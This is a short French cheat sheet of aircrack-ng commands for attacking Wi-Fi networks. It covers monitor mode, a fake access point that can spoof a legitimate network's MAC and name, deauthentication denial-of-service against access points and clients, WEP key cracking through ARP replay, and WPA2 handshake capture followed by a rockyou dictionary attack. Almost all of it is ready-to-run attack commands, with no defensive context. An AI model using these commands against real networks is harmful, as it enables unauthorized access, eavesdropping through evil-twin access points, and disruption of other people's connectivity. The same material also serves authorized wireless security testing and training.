Passage en mode *monitor* (scan d’activité)

# airmon-ng start wlan0 # Activation du mode *monitor*

# airodump-ng wlan0mon # Lancer l’écoute réseau

Création d’un faux point d’accès Wifi

--- Simple

# airbase-ng --essid <Network Name> wlan0mon

--- Usurpation de la configuration d’un point d’accès légitime

# airbase-ng -a xx:xx:xx:xx:xx --essid <Network Name> -c <CHANNEL> wlan0mon

Attaque DDoS de désauthentification

--- Désauthentification du point d’accès

# aireplay-ng -0 0 -a xx:xx:xx:xx:xx wlan0mon

--- Désauthentification du client

# aireplay-ng -0 0 -a xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx wlan0mon

Crack de clé WEP

# airodump-ng --encrypt WEP wlan0mon # N’affiche que les réseaux WEP

# airodump-ng -w <fichier WEP> --BSSID <MAC> -c <CHANNEL> wlan0

--- Ouvrir une nouvelle fenêtre pour générer du trafic (rejeu ARP)

# aireplay-ng -3 (injection) -b <BSSID> -h <MAC target> wlan0mon

--- Attendre d’avoir au moins 10000-15000 données reçues

# aircrack-ng <fichier WEP>.cap

Crack de clé WPA2

# airodump-ng --encrypt WPA2 wlan0mon # N’affiche que les réseaux WPA2

--- Ouvrir une nouvelle fenêtre pour générer du trafic (désauthentification)

# aireplay-ng -0 (de-auth) 0 (nb/sec) -a <BSSID> -h <MAC target> wlan0mon

--- Attendre de récupérer l’handshake complet, puis attaque par dictionnaire

# aircrack-ng <fichier WPA2>.cap -w rockyou.txt